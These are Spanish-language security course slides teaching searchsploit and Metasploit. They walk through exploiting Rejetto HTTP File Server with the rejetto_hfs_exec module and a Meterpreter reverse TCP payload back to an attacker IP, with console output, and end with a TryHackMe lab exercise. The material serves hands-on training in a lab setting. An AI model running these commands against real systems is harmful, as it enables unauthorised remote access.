



Black System

Seguridad Informática

Seguridad Informática

FPTD/2021/019/2080

<http://www.free-powerpoint-templates-design.com>

Exploit database / searchsploit

En la pagina web nos da

La página web es exploit-db.com

La herramienta en Kali es: searchsploit (el nombre de lo que queremos explotar)

searchsploit Http File Server

searchsploit Http File Server -w para ver el enlace a la web

Cada exploit tiene un numero único (que he señalado en verde) `windows/remote/39161.py`

Para ver el código de ese exploit desde consola ponemos: searchsploit -x 39161

Para descargar un exploit en la carpeta en la que estemos: searchsploit -m 39161



Metaexploit

- La primera vez que utilicemos metaexploit tenemos que poner: msfdb run para que nos cree el usuario y demás
- Una vez estemos en msf5 > ya podemos empezar a usar metaexploit
- Para realizar una búsqueda ponemos: search y lo que queremos buscar
search hfs (http file server)
- Copiamos la ruta del exploit que nos interese

```
msf5 > search hfs

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/http/git_client_command_exec 2014-12-18      excellent No      Malicious Git and Mercurial HTTP Server For CVE-2014-9390
1  exploit/windows/http/rejetto_hfs_exec      2014-09-11      excellent Yes      Rejetto HTTPFileServer Remote Command Execution
```

- use y pegamos la ruta

```
msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit(windows/http/rejetto_hfs_exec) >
```

- Una vez que lo tenemos cargado podemos poner info, para ver toda la información del exploit, que hace y demás
- Para ver que opciones tenemos en este exploit ponemos: show options
- Para setear alguna opción ponemos: set RHOST 10.10.11.136

```
msf5 exploit(windows/http/rejetto_hfs_exec) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):

Name      Current Setting  Required  Description
-----
HTTPDELAY  10              no        Seconds to wait before terminating web server
Proxies   yes             no        A proxy chain of format type:host:port[,type:host:port]
RHOSTS    yes             yes       The target host(s), range CIDR identifier, or IPv4 network address
RPORT     80              yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host to listen on. This must be an IP address.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL/TLS for outgoing connections
SSLCert   no              no        Path to a custom SSL certificate (default is ssl.crt)
TARGETURI /               yes       The path of the web application
URIPATH   no              no        The URI to use for this exploit (default is /)
VHOST     no              no        HTTP server virtual host

Exploit target:

Id  Name
--  -
0   Automatic

msf5 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.10.10.0
RHOSTS => 10.10.10.0
msf5 exploit(windows/http/rejetto_hfs_exec) > <
```



Configurar un Listener en metaexploit

Para poner en escucha un puerto en metaexploit ponemos

Set payload S.O/meterpreter/reverse_tcp

```
msf5 exploit(windows/http/rejetto_hfs_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```

- Volvemos a poner show options y vemos que opciones tenemos que setear nuevas

```
Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process         yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.14.58     yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port
```

- En este caso tenemos que setear el LHOST y LPORT
set LHOST y nuestra ip de atacante (set LHOST 10.10.14.58)
set LPORT 5555
- Y por ultimo ejecutamos: exploit
- Empieza a mandar la vulnerabilidad y en este caso si pone al final meterpreter ha funcionado perfectamente y ya tendríamos una Shell inversa
- Para obtener una consola interactiva ponemos: Shell
- Si en el exploit no tenemos que usar Shell inversa, no tenemos que usar meterpreter



Ejercicio

Tenéis que hackear la maquina de Tryhackme Bolt

Solo un par de pistas:

- Mirar bien y leer
- Usar metaexploit

